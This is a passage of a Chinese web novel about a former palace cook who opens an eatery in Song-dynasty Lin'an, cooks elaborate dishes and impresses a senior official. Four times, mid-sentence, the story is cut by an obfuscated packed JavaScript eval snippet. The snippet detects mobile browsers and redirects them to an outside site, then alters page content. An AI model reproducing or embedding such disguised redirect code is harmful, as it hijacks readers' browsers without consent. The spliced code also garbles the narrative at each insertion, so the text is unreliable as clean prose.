趁着这个功夫，满满一道手把酱汁调好备用。豆豉舂碎，取汁二匙作底味，虾子酱油半匙、镇江米醋一匙增鲜，嫩姜芽切米粒大，木臼轻捣出汁添上辛香，最后胡麻油五滴使得酱汁润口。待香蕈蒸好，用酱汁拌匀三味，此菜就做完了。 春日也是吃春的季节，此时香椿芽长至“一叶一心”，此时苦辛平衡，过老则涩，过早则寡淡。时人常说：“木中阳精，春先百草而发。”此时，放在一旁的面团已经被醒发好，满满加快手速，将椿芽切碎，又滴入茶籽油锁色。宋人上至皇亲国戚，下至平头百姓，都奉羊肉唯尊，却贬猪肉荤腥。所以羊肉价格几乎被炒到八百文一斤，对满满这样的小百姓来说太过奢侈。不过，若是精心挑选，特法烹制，猪肉也不错。 若是单单是香椿，满满觉得有些清淡。于是挑出一小块瘦猪肉，切了一点肉沫子，放入春菜之中，又浇上一点酱汁，二者拌匀。 她手艺及其灵活，馄饨皮被擀得极薄，不一会儿，一小锅整齐小巧的馄饨被端上蒸笼。仔细看，每个小馄饨的顶部都有小孔，如此馅料更为可口绵软。 这时，满满把发酵好的松花饼馅料捏成小饼，在锅底预热，一个个小饼往里头放，小火微烹，并盖上锅盖，把小饼闷的香软鲜甜。翻面再烤，再次出锅，只见一个个小饼圆润可爱，用筷子一戳，破一个小洞，一口下去软糯清甜。 邻里之间都闻到这新来的一家传来清甜的饼香，从门口经过都打听：“开食肆呀，闻着不错，改日定要来尝尝！” 三道小菜被端上了桌，香味诱人，隔着老远便能闻到，三人的眼睛都直了。小混炖各四盘，一人一盘，旁边另配酱汁。山家三脆和松黄饼各一大盘置于中间。只见青瓷浅盘中，嫩笋条斜倚成峰；枸杞头碧中透紫，香蕈片赭□□人，三色交叠如琥珀嵌玉盘。椿根馄饨薄皮透出内里椿茸，顶端气孔微张如含苞待放。松黄饼上印着浅浅的梅花烙痕，泛着淡淡焦糖光泽，饼面是金色，又透绿斑纹，表面松针露凝成珠，更添上几分诱人。 众人皆是咽了咽口水，袁家夫妇都是守礼之人，一致看向老丈，让他先行品尝。老丈年事已高，自缢也是有些经历的人，什么美味没有品尝过？但这小娘子年纪轻轻，手艺确实了得，几道小菜便可看出实力。 他拿起筷子把三道菜都尝了一尝，笋尖脆嫩清甜，枸杞头微苦却慢慢回甘，香蕈的木质鲜香漫溢，香脆可口。咬破馄饨的瞬间，椿芽辛香喷涌，猪肉也处理得当，尝不出任何膻味，反而唇齿生香。至于这松黄饼，外层酥脆，内里绵密，味道在整个临安都是数一数二的。 三人狼吞虎咽，不过片刻，盘子便已经空了。满满看着他们的样子，心里也很满意。方才煎了不少松黄饼，此刻取了草纸，六个包作一包，又用细绳系上。满满从小便跟着袁大哥学字，写得一手漂亮的簪花小 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|nmxs8|n|cc|15234600|166029||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 楷，裁剪一张小纸片，提笔写下“平安喜乐”，插在纸包上，便可以算作一件小礼物了。 这一番下来，才知道原来老丈姓牛，是坊间远近闻名的老酒鬼。满满给牛老丈带了一包松黄饼回家，挥了挥手，小娘子盈盈秋水眸弯成两道上弦月：“老丈，若是没吃够，改日再来找我拿！” 老头子心里不由有些感动，却突然觉得有些胆寒，下一秒，只见小娘子的笑变得谄媚起来：“我这店面还得装潢装潢呢，改日改个窗户架子，还得劳烦您呢！” 客人走了，现下只剩下一家人，兰嫂子洗碗收拾，父女两埋在桌子上，杵着头给店面想个招牌。 “咱们这做的小本生意，每日食材有限，吃什么做什么定然是行不通的。不过嘛，春有春的吃法，冬有冬的吃饭，况且主打卖的便是禁中皇亲国戚的菜谱，不如，便叫四时皇城私膳？” 袁大哥扶着胡子想了想，沉吟道：“不妥，这名字太招摇，若是被有心之人利用，恐怕够我们吃一台。” 满满点了点头，一拍手掌：“不如就叫，小宫娥四时食肆！” 二人一拍即合，兰嫂子也觉得这店名清新脱俗，袁大哥找来一块木牌，毛笔一挥，几个大字跃然其上，一家人打着灯笼，黑灯瞎火中走到店门口，把木牌高高挂起。 满满对着黑夜里的灯笼，对着遥遥挂在天上的月亮，双手合十，心里默默许愿：“开业大吉！” 夫妻二人也相视而笑，摸了摸女儿的头，齐声道：“开业大吉！” 于是，在这个漆黑的夜里，临安城中一间小宫娥四时食肆开业了。 第二天卯时，天都未亮，满满便起床去赶早市了。本朝商业繁荣，人们大都在外边解决早点，通常大部分人会在辰时光顾早点铺子，满满若是想赚这一份钱，自然得起的早些。 兰嫂子见女儿早早起来，劝她加了一件薄袄。春日的早晨难免露重，满满刚起来时还有些郁闷，只想在床褥里再窝一会，但是当她出了门，回过头，看见悬在铺子门口的木牌——“小宫娥四时食肆”，便突然觉得天光大亮，整个人都明媚了起来。 此时御街上宽敞，但依稀有了人声。路上行走的，从服饰来看，大多是上朝、点卯的官员，去国子监上学的学生，又或者是早起上香的香客，夹杂其间还有一些劳工。两侧陆续有摊贩支起摊子，偶有行人购买，原来这些头戴乌纱帽的大人，也会在路边将就几口。满满一边看，一边默默感叹，同行实在是太努力，自己也得加把劲！ 候潮门外鲜鱼行、余杭们菜市、修义坊肉市都已经是热热闹闹。此时食材都是刚刚运过来，蔬菜上带着晨间的露水，仔细闻还有淡淡泥土香味，鱼儿也都活蹦乱跳。好一派熙熙攘攘却又热热闹闹的市井生活！ 有了这样丰富的食材，今日定能大干一场！ 5. 新店开业:傍林鲜煨鹌鹑 满满的本钱很少，所以自然不能像大的食肆，客人点什么就做什么，只能看看每天菜市场上有什么新鲜的食材，便买一些回去想着法的做，当天有什么，客人便吃什么。 晨光未透，满满已挎着竹篮立在菜市口。案上春蔬还沾着露水，她先挑了几根鲜嫩春笋，又选齐葱姜蒜末。路过猪肉铺子，因为买不起羊肉，于是满满决定再做一些猪肉。只要采用特殊的烹饪方式，猪肉也能去除腥味，做的美味。不仅如此，因为猪肉价贱，屠户照例塞给她几根筒骨，骨头缝里还黏着暗红髓膏，可以炖出鲜浓美味的骨汤。 正要折返，忽见一个戴斗笠的老农蹲在巷角，竹筐里传出扑棱声。 满满拨开草帘一瞧，三只鹌鹑正缩在麦秸堆里，灰褐羽毛间隐现梅花状的斑点。 "老丈，这活物怎卖？"老农见她杏眼弯弯，想起自家小孙女，手指捻着胡子，笑道："小娘子若全要，三十文一只拿去。" 这价着实便宜。本朝春日禁捕鹌鹑，黑市早涨到八十文，定是这老农偷摸从田埂逮的。满满数出九十个铜钱，麻绳系住鹌鹑脚爪倒提着。 禽鸟扑翅溅起尘灰，小娘子左手提篮，右手拎着鹌鹑，偏偏穿得鲜亮明媚，路上与人擦肩而过，都引来路人侧目。 回到铺子，木牌已悬上门楣。山家三脆二十五文、椿菜馄饨十五文、松黄饼十文六块，最末新添的"傍林鲜煨鹌鹑"标价五十文。 至于在定价嘛，满满的食肆自然是比不上临安中高档酒楼的。但是定价又得略高于普通的小食肆，毕竟她所售卖的是寻常人很难吃到的皇家美味，所以满满最终决定，定价略高于寻常小食肆的市价。物以稀为贵，若是太过于便宜，不仅她没得赚，说不定适得其反，人人都能来贬损几句。 满满先把米饭蒸上，猪骨汤煮上备用。临街支起的小灶上，筒骨正咕嘟冒泡，奶白汤面浮着油星。 卯时三刻，街面渐有人声。昨夜炖菜的香气早勾得四邻心痒，这会儿已有三五个街坊进来讨早食。 满满揭开蒸笼，现成的馄饨皮裹着粉红肉馅，滚水里一汆便盛进青瓷碗，浇上秘制酱汁——那是用虾酱、麻油并三蒸三晒的豆豉调的。 食客正啜着汤水，趁着这个功夫，满满决定表演当街杀鹌鹑。 本朝有不少女子都经商，所以女中豪杰并不少见。不管是街头巷口杀猪的，宰羊的，还是坊间市里来回穿梭的各类女商人，宋朝人已经见怪不怪了。可是但见一个穿着桃红褙子，鹅黄袄子，正处于如花似玉年纪的小美娘当街杀鹌鹑，还是吸引了不少人的注意。 只见这小娘子头上利落的挽起了一个包髻，又用襻膊把鹅黄色的袖子卷起来，拎着木盆踏到铺子前面的街心。菜刀往磨石上一蹭，寒光惊得看客后退半步。这小娘子却笑吟吟举起菜刀，鹅黄衫子映着朝霞，阳光斜斜照下来，衬的整个人明媚灿烂。 "今日新菜傍林鲜煨鹌鹑奉客，买吃食送松黄饼！" 清亮嗓音惊飞檐下麻雀。只见这小娘子爽朗一笑，回过身进屋拎出三只鹌鹑。 这时店门口已经围了一圈人，男女老少皆有之，有的人抱着看笑话的态度，只等着小娘子杀鹌鹑的时候出丑，也有人眼中遥有兴味，想看看这厨娘的手艺如何。 只看她三指掐住鹌鹑的脖颈，大指抵住喙下三寸。另一只手则拿着菜刀，这菜刀看上去是用上好的铁制成的，仅仅是看上去便觉得沉重，而这小娘子胳膊又白又细，菜刀却拿的稳稳的。刀刃顺着绒毛走势一划，血珠淅沥沥落进陶盆。禽鸟蹬腿挣扎，反被她膝头一压，生生制住动静。而再回看这小娘子，面上依旧是笑盈盈的神情，甚至连头发丝都没有乱，不由让人感叹，果然人不可貌相。她又用同样的方式杀完了另外两只鹌鹑，把三只鹌鹑放在盆里，用煮沸的开水一浇，小娘子熟捏地拔去了鹌鹑身上的毛，又用刀口划开肚上三寸，掏出内脏。 褪毛开膛不过半盏茶功夫。看客们见她十指翻飞，鹌鹑已成光溜溜的肉团，不知谁先喝起彩来。 满满趁机扬声道："午时准点火工，御膳房古法煨鹌鹑！" 后厨泥炉已烧得通红。 满满还是照例把新买回来的春笋洗净，切成四瓣，然后浸泡在井水当中，去除涩味。然后把鹌鹑洗净，在腹腔中填入三钱松针，二钱陈皮丝，五钱梅干。 与大多数煨鹌鹑不同的是，满满并不把鹌鹑放在汤中煮，而是用泥壳煨鹌鹑。 满满从花盆中挖出大约半斤土，又加入三两竹碳粉，一两龙井茶茶粉，一两松花粉，最后又倒了二两黄酒进入土中，用手搅匀，静置半刻钟。 趁着这功夫，将鹌鹑切成细条，与笋段交叠放在一起，然后用拌匀的泥土将鹌鹑裹起来。拿出一个小炉子，把裹好的大泥团直接放进火中烘烤。 人们口耳相传，又来了一批客人。满满手脚利落地包了一些混沌，当做早点卖出去不少，又送出不少松黄饼，吃过的人都赞不绝口。 猪骨汤已经熬的差不多了，汤色纯白细腻，隔着老远便能闻见浓浓的鲜香。这时满满将炉子中的泥球取出来，用刀把泥球划开，一股热气扑面而来，携带着一股淡淡的酒香以及笋子和鹌鹑肉的鲜香。 食肆中的食客闻到味都看过来，甚至路上也有一些行人侧目。街边挑担的货郎抽着鼻子驻足，竹扁担压得肩头泛红也不肯走。满满拎着铜勺搅动骨汤，乳白汤面浮着碎葱，鲜气扑鼻。 最后一道工序便是把鹌鹑肉和笋子放到猪骨汤中熬煮，只见鹌鹑肉和笋子在汤中起起伏伏，汤色变得越来越浓稠，一阵又一阵的鲜香弥漫开来。 开业第一天，前来品尝的食客都对食肆的食物很满意，但是远远没有达到满满的预期，照这样下来，每个月也顶多赚到够缴纳租金的钱。前来的尝鲜的食客大都住在附近，店面虽然 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|nmxs8|n|cc|15234601|166029||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 靠近御街，然而却隐藏在一个难以被发现的角落，看来还是得加大宣传的力度。 满满正站在灶台前沉思，三个总角小儿扒着门框探头，肚皮贴着槛石发出咕噜声。 满满眨了眨眼，“想不想吃姊姊家的松黄饼呀？” 几个孩童只觉得口水都快流出来了，连忙点点头，却支支吾吾答道：“我们没有银钱......” 满满舀起一勺松黄饼碎屑，指尖沾了蜂蜜点在孩童掌心："替姊姊往御街发草帖，回来给整块饼子，如何呀？" 黄麻纸上墨迹尚润，画着鹌鹑栖在春笋旁的简图，背面写着"宫娥食肆"四字并上铺子位置。 “小宫娥四时食肆开业。掌厨博士曾任职御膳房，精通禁中美味菜肴。只需三十文便能品尝！凭此纸可减免五文。” 做完这些满满依旧觉得不够，带上三包松饼往御街的方向去。再从御街转头可以进入巷子里的路口，开着一家鲜明花肆，便是昨日里满满买盆栽的地方。老板娘吴嫂子昨日和满满见过的，满满说明来意又带了薄礼，吴嫂子也愿意卖她这个人情。 于是，在路口也竖起了招牌“小宫娥四时食肆往里去:新店开业，亏钱请尝！” 日头攀上柳梢，花肆吴娘子支起竹竿，悬起靛蓝酒旗。旗角缀着满满送的五彩丝绦，风一吹便指向巷子深处。 头戴方巾的书生循着旗角拐进来，正撞见满满劈开泥壳——焦土簌簌剥落，鹌鹑肉裹着笋段。 到了午饭时刻，兰嫂子正收拾着桌面，突然揉了揉眼睛，只见巷口零碎涌进一批食客。戴青巾的货郎举着黄麻纸问路，挎书箱的学子循着探门，更有一位穿锦袍的公子拿折扇挑开布帘。 穿短打的脚夫最先往桌边一坐："小娘子盛碗汤来！" 银匙舀起，鹌鹑肉颤巍巍挂着金汤，笋尖咬下去咯吱溅汁。众人捧着青瓷碗舍不得放箸，忽见汤底沉着梅干，酸香勾得舌底生津。 满屋吸溜声里，晨间那几个孩童，攥着发完的草帖来讨赏。满满满意地摸了摸二人的头，给了一人两块松饼。却不见另一个小童，满满问道：“你们知道另一个孩子去哪了吗？” 二人对视一眼，眼里有些害怕。颤颤巍巍举起手，指了指街道尽头。满满用帕子擦了擦手，出门一看，只见穿绿褂的几名厢军走过来，手里还抓着一个小童，小童手里则撺着满满的草纸。 满满心里一惊，忙迎接上去：“哟，各位官爷可吃过中饭了？小店初初开业，前几日还想着去拜会各位，可惜大人们日理万机，哪里像我们这等闲人。若是有什么错处，但听几位大人吩咐。” 三位厢军对视一眼，他们今日在巷子里巡逻，自然也闻到了食肆里勾人的香味，料想这店主愚钝，竟不知打点周遭关系，更不知孝敬孝敬当值的，听了这番话，倒像是个识相的，心头也舒坦不少，指了指孩子：“这孩童，是你指使的？” 6. 好马和伯乐 满满正想回答，却见三名厢军面上神情突然肃穆，一齐弯下了腰，不由得心里一惊，立刻回过头，绯色的官袍怵然出现，她心里砰砰直跳，来不及多看，也连忙拱手弯腰。 只听面前之人沉沉开口：“起来吧。” 满满努力秉着一口气，慢慢抬起身来，悄悄掀起眼皮，只见这人约莫三十上下，面容冷峻，唯有眼角有一丝细纹，着绯色圆领袍，衣上有云雁纹样，腰中悬挂一银鱼符，就连冠帽也是不同文臣曲脚幞头的直角，两脚平直长展，倒是武将的式样。 本朝只有六品以上的大官着绯色，且此人佩戴可出入禁中的腰牌，更有武职背景，满满好歹也是宫中待过五年的人，就连官家也远远地见过几次，甚至有一次被官家问过名字，不过贵人多忘事，定然不记得了，不过满满可是永远不能忘的。略一思索，满满大概知道此人身份，不出意外，便是传说中的天子近臣，冷面阎王，正四品大官，提举皇城司。 晁素臣见这小娘子悄悄打量，冷眼扫过来，满满浑身一颤，连忙低下头去。 只见官人拿过孩童手中的草纸，轻轻一翻，口中溢出一声极轻的冷笑，长长的桃花眼微挑，促狭地看着满满：“年纪不大，胆子倒是不小。你是年初从禁中放出的宫娥？” 既然官人这么说了，满满生怕被安上一个虚假宣传的帽子，也壮着胆子回答：“回官人，小女子原先在御膳房当值的，今年清明后出宫的。小女子所写句句属实，若是官人不信，尝一尝便知道了。” 旁边三名厢军都替满满捏了把汗，看来方才被这小娘子几句蒙骗了，属实是不懂规矩得很，几句话把皇城司得罪了，再好的手艺也是命悬一线，只能感叹初生牛犊不怕虎，只见小娘子笑盈盈，丝毫没有惧意。 其实满满的大腿根都在发抖，但，生意刚刚开始，她也不想创业未半中道崩殂啊！ 晁素臣皱了皱眉，却并未发怒，反而问道：“小娘子可知，这间铺子，前些日子，发生了一桩大案，死了少说三十人。” 满满捏了捏手，一阵阵冷汗冒出，原来所谓“胆子大”是这层意思，只能哂笑道：“临安有皇城司坐镇，别说孤魂野鬼，便是强盗反贼也没什么可惧的，官人您看，我这小铺子不也开得好好的吗？” 晁素臣挑了挑眉，笑道：“好一个口齿伶俐的小娘子！眼力倒也不错，这间铺子一日卖不出去，坊中便人心惶惶，倒是解了本官心头一桩事。你信任皇城司，皇城司自会护佑你。” 三位厢军心里一跳，不由暗嗔：真真是人不可貌相，还是小娘子高明，几句话便唬住了晁官人，能唬住自己便不是什么稀奇事。 天子脚下，人人人精似得，贯会见风使舵，连忙手里一松，把孩子放开：“都是误会一场！小人以为是谁家的孩子走失了，请小娘子勿要见怪！” 满满也很上道，做事留一线，日后好相见，连忙笑道：“几位大哥这是哪里话？留下喝杯茶再走呀，这日头越来越热了。” 三位只觉得背后一阵阵阴风，连忙拱手：“小人们去别的地方转转，不打扰官人办事。” 三人走后，只剩晁官人和小童，满满瞬间觉得肩膀万斤沉重。就在这时，小童扯了扯满满的衣角：“姊姊，我的草纸快发完了，你还没给我松黄饼呢？” 满满尴尬地笑笑，只见晁素臣玩味地看过来：“三位厢军公务繁忙，本官却清闲得很。小娘子不邀请本官喝一杯茶？” 她心提到嗓子眼，立刻把嘴角扯出一个笑容：“官人，小店鄙薄，恐脏了您的鞋子.....” 话未说完，晁素臣已经大步迈出去：“无碍。” 满满站在原地，愣了片刻，努力笑着呼出一口气：“袁满满！贵客！赚钱之道！暴富之方！富贵险中求，袁满满争口气！” 晁官人走进食肆中，客人纷纷噤声，一名书生正挥着扇子高谈阔论，也被友人一个松黄饼塞进口中堵住。晁素臣挥了挥手，示意各位无需行礼，但识相的客人连忙几口吃完，匆匆离开。 兰嫂子在这之前，几乎从未来过临安，更别提看服饰识人，她一边拿着抹布从灶台走出来，见到晁素臣，只觉得穿着像是富户，谄笑道：“哎哟，贵客几位呀？” 满满捏了一把汗，悄悄告诉兰嫂子：“娘，这是朝廷四品大官。” 兰嫂子张了张口，不知说些什么，想来想去，只能笑道：“大......官人，民妇鄙陋，让您见笑了。” 晁素臣摆了摆手：“无碍，可有雅间？” 满满在布置之时便不曾想过接待这等级的顾客，想过布置成雅间的二楼如今也是一团乱麻，只能硬着头皮把晁官人往一楼角落用字画竹帘围起来的隔间里引。 晁素臣坐定，环视一圈，麻雀虽小，却是五脏俱全，主人颇有巧思，节俭却透出几分古朴的雅意，倒像是书生文臣会推崇之地。 只见小娘子从何处搬来一瓶花，插花样式不算讲究，但却姹紫嫣红，清香阵阵，晁素臣心中又添上几分满意。 “官人，您吃点什么？若是有招待不周，请您多见谅，小店刚刚开业，过些日子定然更齐全。” 小娘子显然已经做好准备，看向他的眼神不再躲躲闪闪，反而跃跃欲试，倒是让晁素臣有些期待了。 他也并不为难满满：“本官方才进来的时候，见木牌四道，便各来一份吧。” 满满一听，那感情好，立刻应道：“官人稍等。” 没一会，四道精致的小菜便端上来。晁素臣这等地位，什么山珍海味没有品尝过？初看这几道菜，卖相倒是过得去的，做的清清爽爽，颜色喜人，闻上去也是清甜诱人，并不觉得厚重油腻，配上淡淡花香，倒是让晁素臣有些惊讶。 “官人，这些饭菜最是下饭， ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|nmxs8|n|cc|15234602|166029||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 您金尊玉贵，吃法讲究，不同我们这些市井俗人，不过嘛，官人体察民情，屈尊光临寒舍，便是入乡随俗，不如也试试民间的吃法。” 他未回答，小娘子便已经盛好一碗米饭，递到他面前。看着米饭颗粒饱满，竟然也无端有些食欲。 晁素臣身形清瘦，平素用膳是极为克制的，但今日略略尝了一口，不知不觉，竟然就着小菜吃完了米饭，又用了一个松黄饼，半碗小馄饨。饭已用尽，竟然还觉得意犹未尽，不过毕竟操守在此，晁官人放下了碗筷，拿出帕子矜贵地擦了擦嘴。 满满在宫中多年，自然知道这些贵人用膳的习惯，见晁素臣的样子，便知道他对自己的手艺定是极为满意的，或许心中虚荣心作祟，或许为小店的庖厨之艺找个举足轻重的官人物背书，她连忙凑上前问道： “官人，您可还满意？” 晁素臣垂下眼酝酿一会，抬起头，撞进小娘子亮晶晶却并不单纯的杏眼，即将脱口而出的话却突然哽住。 半晌，终于开口：“小娘子的庖厨之艺确实了得，既得了宫中的讲究和雅致，又别出心裁，多了几分野趣和醇厚。大道至简至真，晁某不懂庖厨，但想必其中之理也是一般。几道小菜，烹饪得细腻独到，却又不失本味，草纸所言不虚。” 这一番话，说得满满怔住，倒是有几分得觅知音之感：“能得官人赏识，实在是小女子的荣幸。官人就连舌头也是比旁人细腻讲究，真真是把小女子做菜的心得讲出来了。” 这番话分明是在拍晁素臣马屁，却莫名让他有几分尴尬，连忙岔开：“小娘子若是真如此想，治大国如烹小鲜，上至治国平天下，下至吟诗作赋，人人长一张口，好坏都分得清楚，不过大部分人却说不明白如何好，如何不好，境界越高，难免阳春白雪，曲高和寡。好马也需伯乐来识是也。” 满满细细回味着晁素臣的话，他在桌上放下一个荷包，却已经起身离开。 满满抓过荷包一看，竟然足足一两银子，如今时局，差不多是两贯钱！同样的菜，卖给寻常百姓，比市价还贵些，只能卖出一百文钱不到，但在晁官人眼里，这桌菜值一千文，翻了十倍还不止！ 满满突然后知后觉晁素臣之话何意，要想发挥出千里马的价值，必须伯乐来识，否则在岁月磋磨中垂垂老矣，若是想卖出一桌菜最高的价值，自然得让愿意为它高价买单的人来吃！ 但晁官人愿意买单难道是因为晁官人有一条比旁人细腻的舌头吗？满满略微一思量，当然不是，那是因为——晁官人有钱啊！比起从普通人中一点一点地扣银子，终将是累死自己也赚不了什么大钱，毕竟满满只有一个人，一天撑死接待这么几位客人。但是赚有钱人的钱就不同了！ 兰嫂子见晁官人离开，战战兢兢走进隔间，却看到女儿捧着一枚银子傻笑，见她进来，仰起头道：“娘！我要暴富了！” 7. 莼鲈水晶包 事不宜迟，午间袁大哥回来用中饭，只见女儿站在门头，满脸笑容地迎接。袁大哥心头一暖，却回过神来，顿觉不妙，只听满满笑道：“爹，您帮我一个忙吧！” 今日破晓之时，御街上主要客源有三类：上朝、点卯的官员，上学的学子，以及早早去寺庙上香还愿的香客。而最佳的摆摊地点，便是御街往北的路口。此处向南走便是朝天门，直达禁中，向西便是太学国子监，周边更有各大坊市，卯时挣了第一波贵客的钱，还可以在辰时再捞一笔，顺带给食肆宣传宣传。 满满也顺带研究了同行。毕竟起得早，食客也行路匆匆，所以多是做一些易于携带的面点，味道大多差强人意，更别说在式样和寓意上。 再一思索，在路边行色匆匆的，大半家中没有博士厨娘，所以在饮食上也并不讲究，那如何卖给那些家中也有厨房的贵客呢？自然是在点心上下足功夫，若是味美，食客们自会口口相传。加之来往多是读书人，为每一个点心寻个典故，引经据典，更能讨得士子欢心。 这便是满满找袁大哥帮忙的地方。满满把木牌上四样菜的做法细致地教给兰嫂子，转身投入新点心中。父女二人找了一个时辰，最终敲定两样。 “莼菜鲈鱼方有味，远来犹喜及秋风。”——在朝为官，有些士子千里迢迢来到临安，难免会有思乡之苦，便做一道莼鲈水晶包。 “打破无明壳，涌出菩提露。”——正在二人埋头苦思之时，铺子外边走过一个卖竹子的老丈，又恰逢今日一早花肆吴娘子送来一篮槐花，满满突然想起一道菜——竹露金粟团，其实就是竹筒包桂花团子，打开竹筒之时，便有金露流出来，好不诱人。如今时节没有金桂，不过以槐花替代反而添上几分清香。暗合几分禅意，倒是颇得香客欢喜。 “爹，不如这般，你下午去讲学，便让孩子们用小纸摘录这些短句，我贴在油纸上，也添上几分新意。” 袁大哥的字写的飘逸洒脱，暗藏风骨，可是这些火眼金睛的大人什么古迹不曾见过？袁大哥如今在私塾教孩童，若是这些话让孩子来写，即便歪歪扭扭，也让人看了心里欢喜。 明日卯时之前便得出摊，今日便得做好准备。这任何一样点心，都工序繁杂，容不得一丝糊弄。满满一看还剩下一些鹌鹑肉，两样有些少了，便又决定添一样——鹌鹑旋鲊。此菜形如太极，味含阴阳，曾是宫宴中名菜，不过如今已经很少有人会做了，不过却难不倒满满。今日做好样子，明日便当场煎炸，香味扑鼻，更好引来食客。 满满轻车熟路地来到市场，买齐了食材，这太湖鲈鱼，因此刻是暮春，数量还太少，满满可是被狠狠宰了一顿，抠抠搜搜让老板送了几只肥虾。又去市署缴纳了五百文每日的摆摊租金。 杀鱼醒肉，乒乒乓乓，一套流程行云流水。店里食客看到这小厨娘竟然在杀鲈鱼，心里都有些好奇，连带着唾沫也咽了咽：“小娘子，可是要上新菜了？” 满满笑道：“鲈鱼难得，今日只得了这一条。明日早晨我在御街北面摆摊，各位可以来尝尝这莼鲈水晶包。” 将鲈鱼置于钵中，浇淋井水醒肉，又用刀剔骨留净肉。洗净莼菜，只留嫩尖，二者均剁碎成糜。又掺入微量两钱糖浆与两钱姜汁，用筷子搅打百次起胶，直到鱼肉莼菜混合，馅料粘稠细腻。 又拿三两藕粉与一两蕨根粉，加温水调成糊状，放入铜锅中熬煮。另拿一铁锅，锅下燃着微火，满满手持长勺，快速取出一勺粉浆，手臂一摇，粉浆均匀铺满锅底，待形成蝉翼薄皮后，立即用刀揭起。她满意地挑起薄皮看了又看，几乎能够透出光，晶莹细腻，平滑圆润。 每张皮裹入莼鲈馅三钱，收口处扭作"同心方胜"纹。《碎金》中曾记载一种"裹蒸"技法，满满将半成品一一置于竹筛，又把悬于井口上方三寸，井口飘上来冷气，便将一个个玉雪可爱的小包子定型。 满满手艺纯熟，个个小包子差不多大小，一眼看上去整整齐齐，晶莹剔透，很是喜人。 有不少食客凑上来看，见这小包子样式可爱，尤其皮薄如蝉翼，都想尝一尝。几个人甚至问满满卖不卖。 小娘子狡猾一笑：“各位客官若是想尝尝鲜，明日去御街找我，数量不多，先到先得，卖空不补。” 这样一来，更是勾足了各位的好奇心。 竹露清淮团，此物本为灵隐寺"浴佛节"供品，如今也可见僧厨"竹釜"蒸食，满满算是从此处偷师。 “小娘子，这竹子，是用来做菜？是甚么菜还得用竹子做？” 满满扬了扬头:“你瞧着便是了。” 满满洗净苦竹，砍下距根部三尺竹节。方才去雕版铺子借了一个金刚经梵文雕版，染上墨水，把刚刚印好未干的纸把竹筒包裹，墨迹渗入竹子，这小小竹节也是变得禅意起来。 米饭蒸熟，拌入洗净槐花。佛家点心，自然不能粘上一点荤腥。索性加上又甜又粘的糯米增稠。 将米团填入竹筒，筒口以新鲜荷叶封扎，置于铜甑。在锅底层放上何首乌煮汤，文武火交替蒸三个时辰，如此，竹香与槐香便能渗透米粒。 鹌鹑旋鲊的馅料便是所谓的阴阳馅心，阳馅是取鹌鹑胸肉，今日剩下的鹌鹑肉已经炖好，正是鲜香，拌入陈年火腿末、又加上些许茶碎，在肉之鲜香上添上几分清香。 所谓阴馅，将就着剩下的莼菜茎切成极细丝，浸渍于梅卤之中，呈半透明状。 这道点心的独到之处，还在于包裹的千层酥皮。 面一定要细致地用竹筛筛五次，头一层用水和面擀皮；二层抹茶籽油折叠，每层仅纸薄，一张皮合计九层，应"乾元用九"之数。 此时各取阴阳，按"七阳三阴"比例包制。 锅中注满芝麻油，待油 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|nmxs8|n|cc|15234603|166029||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 面泛起"蟹眼"细泡时，以铁签串鲊悬垂油中。持双筷如执笔，快速旋转使酥皮绽作螺旋纹，出锅时立即撒盐。口感酥脆，内馅鲜香，一口下去，口中滋滋流油，却又佐以嫩菜，冲淡油腻，一层一层的酥皮渐次在口中化开。 满满做的精致，耗费不少时间，全都预备好，已经是晚饭时间了。袁大哥回来，带来了学堂中孩童童稚的字迹，一个个歪歪扭扭，但是写的极为认真，也有几张写的极好，小小年纪，字里行间便尽见风骨。 满满提前预备好明早的炉子，铁锅，炭火，包装的油纸，擦了擦前些日子在菜市场买回的小板车，最后把今日准备好的食材一一整齐放在桶里，用绳子吊住，悬在井中，遇到冷气便可定住型，也不容易变坏。越看越觉得这宅子选得极好，尤其这一口井，既可以取水，还可以储存食物。 